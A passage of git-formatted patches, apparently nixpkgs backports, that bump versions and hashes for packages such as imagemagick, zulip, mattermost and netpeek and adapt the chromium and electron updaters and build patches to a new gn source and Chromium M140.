+-        "node": "^18.18.0 || >=20.0.0"
+-      },
+-      "funding": {
+-        "type": "opencollective",
+-        "url": "https://opencollective.com/typescript-eslint"
+-      },
+-      "peerDependenciesMeta": {
+-        "typescript": {
+-          "optional": true
+-        }
+-      }
+-    },
+-    "node_modules/@vue/eslint-config-typescript/node_modules/@typescript-eslint/visitor-keys": {
+-      "version": "7.18.0",
+-      "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-7.18.0.tgz",
+-      "integrity": "sha512-cDF0/Gf81QpY3xYyJKDV14Zwdmid5+uuENhjH2EqFaF0ni+yAyq/LzMaIJdhNJXZI7uLzwIlA+V7oWoyn6Curg==",
+-      "dev": true,
+-      "license": "MIT",
+-      "dependencies": {
+-        "@typescript-eslint/types": "7.18.0",
+-        "eslint-visitor-keys": "^3.4.3"
+-      },
+-      "engines": {
+-        "node": "^18.18.0 || >=20.0.0"
+-      },
+-      "funding": {
+-        "type": "opencollective",
+-        "url": "https://opencollective.com/typescript-eslint"
+-      }
+-    },
+-    "node_modules/@vue/eslint-config-typescript/node_modules/brace-expansion": {
+-      "version": "2.0.1",
+-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
+-      "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
+-      "dev": true,
+-      "license": "MIT",
+-      "dependencies": {
+-        "balanced-match": "^1.0.0"
+-      }
+-    },
+-    "node_modules/@vue/eslint-config-typescript/node_modules/minimatch": {
+-      "version": "9.0.5",
+-      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
+-      "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+-      "dev": true,
+-      "license": "ISC",
+-      "dependencies": {
+-        "brace-expansion": "^2.0.1"
+-      },
+-      "engines": {
+-        "node": ">=16 || 14 >=14.17"
+-      },
+-      "funding": {
+-        "url": "https://github.com/sponsors/isaacs"
+-      }
+-    },
+-    "node_modules/@vue/eslint-config-typescript/node_modules/semver": {
+-      "version": "7.6.3",
+-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.3.tgz",
+-      "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==",
+-      "dev": true,
+-      "license": "ISC",
+-      "bin": {
+-        "semver": "bin/semver.js"
+-      },
+-      "engines": {
+-        "node": ">=10"
+-      }
+-    },
+     "node_modules/@vue/reactivity": {
+       "version": "3.5.13",
+       "resolved": "https://registry.npmjs.org/@vue/reactivity/-/reactivity-3.5.13.tgz",
 diff --git a/Rnwood.Smtp4dev/ClientApp/package.json b/Rnwood.Smtp4dev/ClientApp/package.json
-index a9e301a..619e55b 100644
+index 46c7a6f..75a3a4a 100644
 --- a/Rnwood.Smtp4dev/ClientApp/package.json
 +++ b/Rnwood.Smtp4dev/ClientApp/package.json
-@@ -19,7 +19,8 @@
+@@ -19,7 +19,7 @@
      "@microsoft/signalr": "^8.0.0",
      "@types/jest": "^29.5.12",
      "@types/sanitize-html": "^2.11.0",
 -    "@typescript-eslint/parser": "^8.0.0",
-+    "@typescript-eslint/eslint-plugin": "^8.31.1",
-+    "@typescript-eslint/parser": "^8.31.1",
++    "@typescript-eslint/parser": "^8.32.1",
      "@vitejs/plugin-vue": "^5.0.4",
      "@vue/eslint-config-typescript": "^13.0.0",
      "@vue/vue3-jest": "^29.2.6",

From b2acd60d48ad603d4a4f01aa5787b66a9f9af0e1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Sat, 30 Aug 2025 14:33:21 -0700
Subject: [PATCH 4230/4511] imagemagick: 7.1.2-2 -> 7.1.2-3

Diff: https://github.com/ImageMagick/ImageMagick/compare/7.1.2-2...7.1.2-3

Changelog: https://github.com/ImageMagick/Website/blob/main/ChangeLog.md
(cherry picked from commit ebd488603d8158a9054037e028ab7acd833ec3da)
---
 pkgs/applications/graphics/ImageMagick/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/graphics/ImageMagick/default.nix b/pkgs/applications/graphics/ImageMagick/default.nix
index f1de6998866b..1c0ad490eab1 100644
--- a/pkgs/applications/graphics/ImageMagick/default.nix
+++ b/pkgs/applications/graphics/ImageMagick/default.nix
@@ -85,13 +85,13 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "imagemagick";
-  version = "7.1.2-2";
+  version = "7.1.2-3";
 
   src = fetchFromGitHub {
     owner = "ImageMagick";
     repo = "ImageMagick";
     tag = finalAttrs.version;
-    hash = "sha256-bQzHZGTr3dl8G7cMSjC5Is+H/7pnRtqgp/rvYZeJDu0=";
+    hash = "sha256-L4apUdF1VJXSVqWAyjYFG/4qDJoJ0ObmSOpd90kqXsU=";
   };
 
   outputs = [

From ac3330b0265ff20eb72d259f8a2fecd20bf0295d Mon Sep 17 00:00:00 2001
From: Anders Kaseorg <andersk@mit.edu>
Date: Mon, 1 Sep 2025 11:30:54 -0700
Subject: [PATCH 4231/4511] =?UTF-8?q?zulip:=205.12.1=20=E2=86=92=205.12.2?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Anders Kaseorg <andersk@mit.edu>
(cherry picked from commit a221895f3d93c9b645824b3aaacdd22220d93d9a)
---
 pkgs/by-name/zu/zulip/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/zu/zulip/package.nix b/pkgs/by-name/zu/zulip/package.nix
index 0ed9a5429972..c3cc29806fc9 100644
--- a/pkgs/by-name/zu/zulip/package.nix
+++ b/pkgs/by-name/zu/zulip/package.nix
@@ -11,16 +11,16 @@
 
 buildNpmPackage rec {
   pname = "zulip";
-  version = "5.12.1";
+  version = "5.12.2";
 
   src = fetchFromGitHub {
     owner = "zulip";
     repo = "zulip-desktop";
     tag = "v${version}";
-    hash = "sha256-YuiPf/ciSm0nBlF8U55EkPSTz+RI148QKOFv6FmYRD0=";
+    hash = "sha256-+OS3Fw4Z1ZOzXou1sK39AUFLI78nUl4UBVYA3SNH7I0=";
   };
 
-  npmDepsHash = "sha256-RNXhDV0b1FZglIS5UsTn6YboJ4Au1/CZVtRz1BvcP2E=";
+  npmDepsHash = "sha256-5qjBZfl9kse97y5Mru4RF4RLTbojoXeUp84I/bOHEcw=";
   makeCacheWritable = true;
 
   env = {

From 8ac9934a03c9921223539dae10e4357d933b5491 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 28 Aug 2025 14:43:11 +0000
Subject: [PATCH 4232/4511] mattermostLatest: 10.11.1 -> 10.11.2

(cherry picked from commit 5309a6ecce2bdaae1045faf913fcdcf6b113d061)
---
 pkgs/by-name/ma/mattermostLatest/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/mattermostLatest/package.nix b/pkgs/by-name/ma/mattermostLatest/package.nix
index 21467244b2a9..cdf9b2a73fc6 100644
--- a/pkgs/by-name/ma/mattermostLatest/package.nix
+++ b/pkgs/by-name/ma/mattermostLatest/package.nix
@@ -11,8 +11,8 @@ mattermost.override {
     # and make sure the version regex is up to date here.
     # Ensure you also check ../mattermost/package.nix for ESR releases.
     regex = "^v(10\\.[0-9]+\\.[0-9]+)$";
-    version = "10.11.1";
-    srcHash = "sha256-iWznWqnsPDcq9hZqnPHCxqsOJESolVWDC6413hitFpk=";
+    version = "10.11.2";
+    srcHash = "sha256-lqMdH7jvnO6Z+dP+DHbxeM4iHU6EoJ3/bx8t/oJau0Q=";
     vendorHash = "sha256-Lqa463LLy41aaRbrtJFclfOj55vLjK4pWFAFLzX3TJE=";
     npmDepsHash = "sha256-p9dq31qw0EZDQIl2ysKE38JgDyLA6XvSv+VtHuRh+8A=";
     lockfileOverlay = ''

From 161e6834f76062ab17c6465c1081b1519cfc893f Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Fri, 1 Aug 2025 22:39:45 +0200
Subject: [PATCH 4233/4511] netpeek: init at 0.2.3.1

(cherry picked from commit 7cae352fd664a77e07aecf1cc69f0f88ff7c8074)
---
 pkgs/by-name/ne/netpeek/package.nix | 63 +++++++++++++++++++++++++++++
 1 file changed, 63 insertions(+)
 create mode 100644 pkgs/by-name/ne/netpeek/package.nix

diff --git a/pkgs/by-name/ne/netpeek/package.nix b/pkgs/by-name/ne/netpeek/package.nix
new file mode 100644
index 000000000000..9ecd9cd7f69c
--- /dev/null
+++ b/pkgs/by-name/ne/netpeek/package.nix
@@ -0,0 +1,63 @@
+{
+  lib,
+  python3Packages,
+  fetchFromGitHub,
+  meson,
+  ninja,
+  appstream,
+  desktop-file-utils,
+  gobject-introspection,
+  wrapGAppsHook4,
+  pkg-config,
+  libadwaita,
+  libportal-gtk4,
+  gnome,
+}:
+python3Packages.buildPythonApplication rec {
+  pname = "netpeek";
+  version = "0.2.3.1";
+  pyproject = false;
+
+  src = fetchFromGitHub {
+    owner = "ZingyTomato";
+    repo = "NetPeek";
+    tag = "v${version}";
+    hash = "sha256-3PbGK8e/W4pHlXwIvW6kmyeBMvzBIS2DrV0pxafgJOY=";
+  };
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    appstream
+    desktop-file-utils
+    gobject-introspection
+    wrapGAppsHook4
+    pkg-config
+  ];
+
+  buildInputs = [
+    libadwaita
+    libportal-gtk4
+  ];
+
+  dependencies = with python3Packages; [
+    pygobject3
+    ping3
+  ];
+
+  dontWrapGApps = true;
+
+  preFixup = ''
+    makeWrapperArgs+=("''${gappsWrapperArgs[@]}")
+  '';
+
+  meta = {
+    description = "Modern network scanner for GNOME";
+    homepage = "https://github.com/ZingyTomato/NetPeek";
+    changelog = "https://github.com/ZingyTomato/NetPeek/releases/tag/${src.tag}";
+    license = lib.licenses.gpl3Plus;
+    maintainers = with lib.maintainers; [ Cameo007 ];
+    mainProgram = "netpeek";
+    platforms = lib.platforms.linux;
+  };
+}

From 36d4d0541e1ee71c899fdeca444934fe6dac82be Mon Sep 17 00:00:00 2001
From: Pascal Dietrich <pascal.1.dietrich@hotmail.com>
Date: Mon, 1 Sep 2025 13:56:47 +0200
Subject: [PATCH 4234/4511] netpeek: 0.2.3.1 -> 0.2.4

(cherry picked from commit 0bf644ad2ff94aabdd04d0d565fbfe3b346d037f)
---
 pkgs/by-name/ne/netpeek/package.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ne/netpeek/package.nix b/pkgs/by-name/ne/netpeek/package.nix
index 9ecd9cd7f69c..626dbc3dd7e2 100644
--- a/pkgs/by-name/ne/netpeek/package.nix
+++ b/pkgs/by-name/ne/netpeek/package.nix
@@ -15,14 +15,14 @@
 }:
 python3Packages.buildPythonApplication rec {
   pname = "netpeek";
-  version = "0.2.3.1";
+  version = "0.2.4";
   pyproject = false;
 
   src = fetchFromGitHub {
     owner = "ZingyTomato";
     repo = "NetPeek";
     tag = "v${version}";
-    hash = "sha256-3PbGK8e/W4pHlXwIvW6kmyeBMvzBIS2DrV0pxafgJOY=";
+    hash = "sha256-mouXMFYhCBEUTyPfuaw570ZC40TJuprldiSiP0Il0KA=";
   };
 
   nativeBuildInputs = [
@@ -43,6 +43,7 @@ python3Packages.buildPythonApplication rec {
   dependencies = with python3Packages; [
     pygobject3
     ping3
+    python-nmap
   ];
 
   dontWrapGApps = true;

From 0f34d64ab24f3a8d04953555e6690d92b567e5b1 Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Wed, 3 Sep 2025 23:07:47 +0200
Subject: [PATCH 4235/4511] chromium: add compat shim for new gn src FODs from
 unstable

to ease backporting at the expense of having to rebuild all of
chromium.mkDerivation once.

Contains hash bumps from ab7460070860e48e56bf5c873b2c80ca02030db6.

Co-authored-by: Marcin Serwin <marcin@serwin.dev>
---
 .../networking/browsers/chromium/default.nix      | 10 ++++++++++
 .../networking/browsers/chromium/info.json        |  6 ++++--
 pkgs/development/tools/electron/info.json         | 15 ++++++---------
 3 files changed, 20 insertions(+), 11 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/default.nix b/pkgs/applications/networking/browsers/chromium/default.nix
index d8c3cf2e3780..d5f6b4ef655e 100644
--- a/pkgs/applications/networking/browsers/chromium/default.nix
+++ b/pkgs/applications/networking/browsers/chromium/default.nix
@@ -84,6 +84,16 @@ let
         src = fetchgit {
           url = "https://gn.googlesource.com/gn";
           inherit (upstream-info.deps.gn) rev hash;
+          # compat shim release-25.05 to match the new src FOD from unstable
+          leaveDotGit = true;
+          deepClone = true;
+          postFetch = ''
+            cd "$out"
+            mkdir .nix-files
+            git rev-parse --short=12 HEAD > .nix-files/REV_SHORT
+            git describe --match initial-commit | cut -d- -f3 > .nix-files/REV_NUM
+            find "$out" -name .git -print0 | xargs -0 rm -rf
+          '';
         };
 
         # Relax hardening as otherwise gn unstable 2024-06-06 and later fail with:
diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 58cf4eb3be4f..d8a7713f64bd 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -12,8 +12,9 @@
         "hash": "sha256-UouvzNFStYScnyfIJcz1Om7cDhC7EyShZQ/Icu73BPo="
       },
       "gn": {
+        "version": "0-unstable-2025-06-19",
         "rev": "97b68a0bb62b7528bc3491c7949d6804223c2b82",
-        "hash": "sha256-m+z10s40Q/iYcoMw3o/+tmhIdqHMsYJjdGabHrK/aqo="
+        "hash": "sha256-gwptzuirIdPAV9XCaAT09aM/fY7d6xgBU7oSu9C4tmE="
       },
       "npmHash": "sha256-R2gOpfPOUAmnsnUTIvzDPHuHNzL/b2fwlyyfTrywEcI="
     },
@@ -809,8 +810,9 @@
         "hash": "sha256-UouvzNFStYScnyfIJcz1Om7cDhC7EyShZQ/Icu73BPo="
       },
       "gn": {
+        "version": "0-unstable-2025-06-19",
         "rev": "97b68a0bb62b7528bc3491c7949d6804223c2b82",
-        "hash": "sha256-m+z10s40Q/iYcoMw3o/+tmhIdqHMsYJjdGabHrK/aqo="
+        "hash": "sha256-gwptzuirIdPAV9XCaAT09aM/fY7d6xgBU7oSu9C4tmE="
       },
       "ungoogled-patches": {
         "rev": "139.0.7258.154-1",
diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index 437432eecb05..f31093b339a7 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -4,10 +4,9 @@
         "chromium": {
             "deps": {
                 "gn": {
-                    "hash": "sha256-EqbwCLkseND1v3UqM+49N7GuoXJ3PlJjWOes4OijQ3U=",
+                    "hash": "sha256-U0f/Q134UJrSke+/o9Hs4+mQa/vSM2hdkRXhLfhnqME=",
                     "rev": "ed1abc107815210dc66ec439542bee2f6cbabc00",
-                    "url": "https://gn.googlesource.com/gn",
-                    "version": "2025-01-13"
+                    "version": "0-unstable-2025-01-13"
                 }
             },
             "version": "134.0.6998.205"
@@ -1313,10 +1312,9 @@
         "chromium": {
             "deps": {
                 "gn": {
-                    "hash": "sha256-vDKMt23RMDI+KX6CmjfeOhRv2haf/mDOuHpWKnlODcg=",
+                    "hash": "sha256-MnGl+D9ahQibUHCtyOUf1snvmeupUn4D2yrDj55JTe4=",
                     "rev": "6e8e0d6d4a151ab2ed9b4a35366e630c55888444",
-                    "url": "https://gn.googlesource.com/gn",
-                    "version": "2025-03-24"
+                    "version": "0-unstable-2025-03-24"
                 }
             },
             "version": "136.0.7103.177"
@@ -2638,10 +2636,9 @@
         "chromium": {
             "deps": {
                 "gn": {
-                    "hash": "sha256-UB9a7Fr1W0yYld6WbXyRR8dFqWsj/zx4KumDZ5JQKSM=",
+                    "hash": "sha256-BplU8qNKObVrKMLKTyqivPF1L6bbJulFC+Zop9UpmZY=",
                     "rev": "ebc8f16ca7b0d36a3e532ee90896f9eb48e5423b",
-                    "url": "https://gn.googlesource.com/gn",
-                    "version": "2025-05-21"
+                    "version": "0-unstable-2025-05-21"
                 }
             },
             "version": "138.0.7204.243"

From 416016b57da22825450ddd86e077e2f0e8c85f85 Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Sun, 27 Jul 2025 10:01:35 +0200
Subject: [PATCH 4236/4511] electron: adapt updater to the new gn package

Co-authored-by: emilylange <git@emilylange.de>
Signed-off-by: Marcin Serwin <marcin@serwin.dev>
(cherry picked from commit e5a76165ea234d37948bb06e2448020ac7e3582c)
---
 pkgs/development/tools/electron/update.py | 41 ++++++++++++++---------
 1 file changed, 26 insertions(+), 15 deletions(-)

diff --git a/pkgs/development/tools/electron/update.py b/pkgs/development/tools/electron/update.py
index 0303cb1c682b..6baf1135a796 100755
--- a/pkgs/development/tools/electron/update.py
+++ b/pkgs/development/tools/electron/update.py
@@ -1,5 +1,5 @@
 #! /usr/bin/env nix-shell
-#! nix-shell -i python -p python3.pkgs.joblib python3.pkgs.click python3.pkgs.click-log nix nix-prefetch-git prefetch-yarn-deps prefetch-npm-deps gclient2nix
+#! nix-shell -i python -p python3.pkgs.joblib python3.pkgs.click python3.pkgs.click-log nix nurl prefetch-yarn-deps prefetch-npm-deps gclient2nix
 """
 electron updater
 
@@ -32,7 +32,7 @@ import urllib.request
 import click
 import click_log
 
-from datetime import datetime
+from datetime import datetime, UTC
 from typing import Iterable, Tuple
 from urllib.request import urlopen
 from joblib import Parallel, delayed, Memory
@@ -44,6 +44,9 @@ SOURCE_INFO_JSON = "info.json"
 
 os.chdir(os.path.dirname(__file__))
 
+# Absolute path of nixpkgs top-level directory
+NIXPKGS_PATH = subprocess.check_output(["git", "rev-parse", "--show-toplevel"]).decode("utf-8").strip()
+
 memory: Memory = Memory("cache", verbose=0)
 
 logger = logging.getLogger(__name__)
@@ -78,26 +81,34 @@ def get_electron_file(electron_tag: str, filepath: str) -> str:
     )
 
 
+@memory.cache
+def get_gn_hash(gn_version, gn_commit):
+    print("gn.override", file=sys.stderr)
+    expr = f'(import {NIXPKGS_PATH} {{}}).gn.override {{ version = "{gn_version}"; rev = "{gn_commit}"; hash = ""; }}'
+    out = subprocess.check_output(["nurl", "--hash", "--expr", expr])
+    return out.decode("utf-8").strip()
+
 @memory.cache
 def get_chromium_gn_source(chromium_tag: str) -> dict:
     gn_pattern = r"'gn_version': 'git_revision:([0-9a-f]{40})'"
     gn_commit = re.search(gn_pattern, get_chromium_file(chromium_tag, "DEPS")).group(1)
-    gn_prefetch: bytes = subprocess.check_output(
-        [
-            "nix-prefetch-git",
-            "--quiet",
-            "https://gn.googlesource.com/gn",
-            "--rev",
-            gn_commit,
-        ]
+
+    gn_commit_info = json.loads(
+        urlopen(f"https://gn.googlesource.com/gn/+/{gn_commit}?format=json")
+        .read()
+        .decode("utf-8")
+        .split(")]}'\n")[1]
     )
-    gn: dict = json.loads(gn_prefetch)
+
+    gn_commit_date = datetime.strptime(gn_commit_info["commiter"]["time"], "%a %b %d %H:%M:%S %Y %z")
+    gn_date = gn_commit_date.astimezone(UTC).date().isoformat()
+    gn_version = f"0-unstable-{gn_date}"
+
     return {
         "gn": {
-            "version": datetime.fromisoformat(gn["date"]).date().isoformat(),
-            "url": gn["url"],
-            "rev": gn["rev"],
-            "hash": gn["hash"],
+            "version": gn_version,
+            "rev": gn_commit,
+            "hash": get_gn_hash(gn_version, gn_commit),
         }
     }
 

From 62834175f8c55b0e48a4f0678d9a24e9ac5b6ba0 Mon Sep 17 00:00:00 2001
From: Marcin Serwin <marcin@serwin.dev>
Date: Sun, 27 Jul 2025 10:01:35 +0200
Subject: [PATCH 4237/4511] chromium: adapt updater to the new gn package

Co-authored-by: emilylange <git@emilylange.de>
Signed-off-by: Marcin Serwin <marcin@serwin.dev>
(cherry picked from commit 9b4cbadf484fbc1af19349ff48cacfee6ff46fb6)
---
 .../networking/browsers/chromium/update.mjs   | 39 +++++++++++++------
 1 file changed, 28 insertions(+), 11 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/update.mjs b/pkgs/applications/networking/browsers/chromium/update.mjs
index 42483eb06b40..838c07ae6814 100755
--- a/pkgs/applications/networking/browsers/chromium/update.mjs
+++ b/pkgs/applications/networking/browsers/chromium/update.mjs
@@ -62,7 +62,7 @@ for (const attr_path of Object.keys(lockfile)) {
       chromedriver: !ungoogled ? await fetch_chromedriver_binaries(await get_latest_chromium_release('mac')) : undefined,
       deps: {
         depot_tools: {},
-        gn: {},
+        gn: await fetch_gn(chromium_rev, lockfile_initial[attr_path].deps.gn),
         'ungoogled-patches': !ungoogled ? undefined : {
           rev: ungoogled_patches.rev,
           hash: ungoogled_patches.hash,
@@ -78,12 +78,6 @@ for (const attr_path of Object.keys(lockfile)) {
       hash: depot_tools.hash,
     }
 
-    const gn = await fetch_gn(chromium_rev, lockfile_initial[attr_path].deps.gn)
-    lockfile[attr_path].deps.gn = {
-      rev: gn.rev,
-      hash: gn.hash,
-    }
-
     // DEPS update loop
     lockfile[attr_path].DEPS = await resolve_DEPS(depot_tools.out, chromium_rev)
     for (const [path, value] of Object.entries(lockfile[attr_path].DEPS)) {
@@ -133,10 +127,34 @@ for (const attr_path of Object.keys(lockfile)) {
 
 async function fetch_gn(chromium_rev, gn_previous) {
   const DEPS_file = await get_gitiles_file('https://chromium.googlesource.com/chromium/src', chromium_rev, 'DEPS')
-  const gn_rev = /^\s+'gn_version': 'git_revision:(?<rev>.+)',$/m.exec(DEPS_file).groups.rev
-  const hash = gn_rev === gn_previous.rev ? gn_previous.hash : ''
+  const { rev } = /^\s+'gn_version': 'git_revision:(?<rev>.+)',$/m.exec(DEPS_file).groups
 
-  return await prefetch_gitiles('https://gn.googlesource.com/gn', gn_rev, hash)
+  const cache_hit = rev === gn_previous.rev;
+  if (cache_hit) {
+    return gn_previous
+  }
+
+  const commit_date = await get_gitiles_commit_date('https://gn.googlesource.com/gn', rev)
+  const version = `0-unstable-${commit_date}`
+
+  const expr = [`(import ./. {}).gn.override { version = "${version}"; rev = "${rev}"; hash = ""; }`]
+  const derivation = await $nixpkgs`nix-instantiate --expr ${expr}`
+
+  return {
+    version,
+    rev,
+    hash: await prefetch_FOD(derivation),
+  }
+}
+
+
+async function get_gitiles_commit_date(base_url, rev) {
+  const url = `${base_url}/+/${rev}?format=json`
+  const response = await (await fetch(url)).text()
+  const json = JSON.parse(response.replace(`)]}'\n`, ''))
+
+  const date = new Date(json.commiter.time)
+  return date.toISOString().split("T")[0]
 }
 
 
@@ -259,4 +277,3 @@ async function prefetch_FOD(...args) {
 
   return hash
 }
-

From 33bb1b67d71717ed7fd28d3a439bb519adc2bf4d Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 2 Sep 2025 17:27:46 +0200
Subject: [PATCH 4238/4511] chromium: fix typo in `update.mjs`

It's committer, not commiter.

Slipped through 9b4cbadf484fbc1af19349ff48cacfee6ff46fb6.

(cherry picked from commit f887ecd3780205dfdfe36fdd0ad7427fe23d9508)
---
 pkgs/applications/networking/browsers/chromium/update.mjs | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/applications/networking/browsers/chromium/update.mjs b/pkgs/applications/networking/browsers/chromium/update.mjs
index 838c07ae6814..9aab0753db78 100755
--- a/pkgs/applications/networking/browsers/chromium/update.mjs
+++ b/pkgs/applications/networking/browsers/chromium/update.mjs
@@ -153,7 +153,7 @@ async function get_gitiles_commit_date(base_url, rev) {
   const response = await (await fetch(url)).text()
   const json = JSON.parse(response.replace(`)]}'\n`, ''))
 
-  const date = new Date(json.commiter.time)
+  const date = new Date(json.committer.time)
   return date.toISOString().split("T")[0]
 }
 

From 26dcc22f8d6df87f78777eb1f719a42eb5a1752f Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Tue, 2 Sep 2025 22:58:00 +0200
Subject: [PATCH 4239/4511] chromium: prepare for M140

(cherry picked from commit 12a28a2fc11a7508e403aed5be212a3c5a731dcf)
---
 .../networking/browsers/chromium/common.nix   | 33 ++++++++++---------
 .../chromium/patches/chromium-140-rust.patch  | 21 ++++++++++++
 2 files changed, 39 insertions(+), 15 deletions(-)
 create mode 100644 pkgs/applications/networking/browsers/chromium/patches/chromium-140-rust.patch

diff --git a/pkgs/applications/networking/browsers/chromium/common.nix b/pkgs/applications/networking/browsers/chromium/common.nix
index 7600b4b66d99..246914774822 100644
--- a/pkgs/applications/networking/browsers/chromium/common.nix
+++ b/pkgs/applications/networking/browsers/chromium/common.nix
@@ -477,10 +477,17 @@ let
       # Rebased variant of patch to build M126+ with LLVM 17.
       # staging-next will bump LLVM to 18, so we will be able to drop this soon.
       ./patches/chromium-126-llvm-17.patch
+    ]
+    ++ lib.optionals (!chromiumVersionAtLeast "140") [
       # Partial revert of https://github.com/chromium/chromium/commit/3687976b0c6d36cf4157419a24a39f6770098d61
       # allowing us to use our rustc and our clang.
       ./patches/chromium-129-rust.patch
     ]
+    ++ lib.optionals (chromiumVersionAtLeast "140") [
+      # Rebased variant of the patch above due to
+      # https://chromium-review.googlesource.com/c/chromium/src/+/6665907
+      ./patches/chromium-140-rust.patch
+    ]
     ++ lib.optionals (!ungoogled && !chromiumVersionAtLeast "136") [
       # Note: We since use LLVM v19.1+ on unstable *and* release-24.11 for all version and as such
       # no longer need this patch. We opt to arbitrarily limit it to versions prior to M136 just
@@ -529,21 +536,17 @@ let
     ];
 
     postPatch =
-      lib.optionalString (!isElectron)
-        # TODO: reuse mkGnFlags for this
-        (
-          if (chromiumVersionAtLeast "136") then
-            ''
-              cp ${./files/gclient_args.gni} build/config/gclient_args.gni
-              chmod u+w build/config/gclient_args.gni
-              echo 'checkout_mutter = false' >> build/config/gclient_args.gni
-              echo 'checkout_glic_e2e_tests = false' >> build/config/gclient_args.gni
-            ''
-          else
-            ''
-              ln -s ${./files/gclient_args.gni} build/config/gclient_args.gni
-            ''
-        )
+      # TODO: reuse mkGnFlags for this
+      # TODO: reflow
+      lib.optionalString (!isElectron) ''
+        cp ${./files/gclient_args.gni} build/config/gclient_args.gni
+        chmod u+w build/config/gclient_args.gni
+        echo 'checkout_mutter = false' >> build/config/gclient_args.gni
+        echo 'checkout_glic_e2e_tests = false' >> build/config/gclient_args.gni
+      ''
+      + lib.optionalString (!isElectron && chromiumVersionAtLeast "140") ''
+        echo 'checkout_clusterfuzz_data = false' >> build/config/gclient_args.gni
+      ''
       + lib.optionalString (!isElectron) ''
 
         echo 'LASTCHANGE=${upstream-info.DEPS."src".rev}-refs/tags/${version}@{#0}' > build/util/LASTCHANGE
diff --git a/pkgs/applications/networking/browsers/chromium/patches/chromium-140-rust.patch b/pkgs/applications/networking/browsers/chromium/patches/chromium-140-rust.patch
new file mode 100644
index 000000000000..42990884fa11
--- /dev/null
+++ b/pkgs/applications/networking/browsers/chromium/patches/chromium-140-rust.patch
@@ -0,0 +1,21 @@
+diff --git a/build/config/compiler/BUILD.gn b/build/config/compiler/BUILD.gn
+index 77b02f76d2845fdf1a9429f704e59b8f7ab42993..e6ce3abe9872f415a9ef1cfc76f7267e7e44e1c9 100644
+--- a/build/config/compiler/BUILD.gn
++++ b/build/config/compiler/BUILD.gn
+@@ -1917,16 +1917,6 @@ config("runtime_library") {
+     configs += [ "//build/config/c++:runtime_library" ]
+   }
+ 
+-  # Rust and C++ both provide intrinsics for LLVM to call for math operations. We
+-  # want to use the C++ intrinsics, not the ones in the Rust compiler_builtins
+-  # library. The Rust symbols are marked as weak, so that they can be replaced by
+-  # the C++ symbols. This config ensures the C++ symbols exist and are strong in
+-  # order to cause that replacement to occur by explicitly linking in clang's
+-  # compiler-rt library.
+-  if (is_clang && !is_cronet_build) {
+-    configs += [ "//build/config/clang:compiler_builtins" ]
+-  }
+-
+   # TODO(crbug.com/40570904): Come up with a better name for is POSIX + Fuchsia
+   # configuration.
+   if (is_posix || is_fuchsia) {

From fd89e235b89571ad4a487855596f7e0a091f214c Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Wed, 3 Sep 2025 23:51:54 +0200
Subject: [PATCH 4240/4511] chromium: fix building M140 with Rust <1.89

Fixes the following error when building with Rust 1.86:

~~~
[3590/11530] LINK ./root_store_tool
FAILED: root_store_tool
"python3" "../../build/toolchain/gcc_link_wrapper.py" --output="./root_store_tool" [...]
ld.lld: error: undefined symbol: __rust_no_alloc_shim_is_unstable
~~~
---
 .../networking/browsers/chromium/common.nix          | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/pkgs/applications/networking/browsers/chromium/common.nix b/pkgs/applications/networking/browsers/chromium/common.nix
index 246914774822..c3cbe65e9ef3 100644
--- a/pkgs/applications/networking/browsers/chromium/common.nix
+++ b/pkgs/applications/networking/browsers/chromium/common.nix
@@ -533,6 +533,18 @@ let
       # preventing compilations of chromium with versions below their intended version, not about running the very
       # exact version or even running a newer version.
       ./patches/chromium-136-nodejs-assert-minimal-version-instead-of-exact-match.patch
+    ]
+    ++ lib.optionals (chromiumVersionAtLeast "140") [
+      # Fix building with too old Rust (< 1.89)
+      # ld.lld: error: undefined symbol: __rust_no_alloc_shim_is_unstable
+      (fetchpatch {
+        name = "revert-rust-Remove__rust_no_alloc_shim_is_unstable.patch";
